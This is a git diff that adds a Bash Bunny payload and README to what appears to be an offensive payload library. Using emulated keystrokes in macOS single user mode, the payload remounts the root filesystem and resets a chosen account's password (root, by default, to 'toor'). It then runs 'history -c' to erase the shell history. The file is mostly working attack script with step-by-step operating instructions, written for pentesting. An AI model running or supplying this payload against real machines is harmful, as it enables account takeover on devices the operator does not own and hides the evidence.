diff --git a/payloads/library/credentials/MacSingleUserPasswd/README.md b/payloads/library/credentials/MacSingleUserPasswd/README.md new file mode 100644 index 00000000..b7ac03c0 --- /dev/null +++ b/payloads/library/credentials/MacSingleUserPasswd/README.md @@ -0,0 +1,32 @@ +# MacSingleUserPasswd + +* Author: [thehappydinoa](https://github.com/thehappydinoa) +* Version: Version 1.0.2 +* Target: macOS + +## Description + +Quickly and efficiently updates the password of a user though the single user mode on macOS. + +## Configuration + +Update `ACCOUNT` and `PASSWD` accordingly. + +## Use + +1. Restart the Mac. +2. Hold `command` and `s` until you see white text on the screen. +3. Once you come to the `:/ root#` prompt plug in the Bash Bunny. +It should look similar to this: +![Single User Mode](http://cdn2.tekrevue.com/wp-content/uploads/2014/09/single-user-mode.jpg) +4. When it finishs mounting the root directory `/` it will tell you to `Change switch position now`. At this point you should change the switch position. +5. When you see the FINISHED LED you can unplug and wait for the machine to restart. + +## STATUS + +| LED | Status | +| ------------------ | -------------------------------------------- | +| STAGE1 | Mounts root directory | +| STAGE2 | Runs WAIT extension | +| STAGE3 | Loads LaunchDaemons for user management | +| FINISH | Clears history and restarts | diff --git a/payloads/library/credentials/MacSingleUserPasswd/payload.txt b/payloads/library/credentials/MacSingleUserPasswd/payload.txt new file mode 100644 index 00000000..dfc93267 --- /dev/null +++ b/payloads/library/credentials/MacSingleUserPasswd/payload.txt @@ -0,0 +1,36 @@ +#!/bin/bash +# +# Title: MacSingleUserPasswd +# Description: Automatically resets user password on macOS through single user mode +# Author: thehappydinoa +# Version: 1.0.2 +# Category: Credentials +# Target: macOS +# Attackmodes: HID +# + +## OPTIONS +ACCOUNT="root" +PASSWD="toor" + +## ATTACK +LED STAGE1 +ATTACKMODE HID +Q STRING /sbin/fsck -y\; /sbin/mount -uw /\; echo "Change switch position now"\; +Q ENTER + +LED STAGE2 +WAIT + + +LED STAGE3 +Q STRING launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist\; launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist\; passwd $ACCOUNT\; +Q ENTER +Q STRING $PASSWD +Q ENTER +Q STRING $PASSWD +Q ENTER +LED CLEANUP +Q STRING history -c\; exit\; +Q ENTER +LED FINISH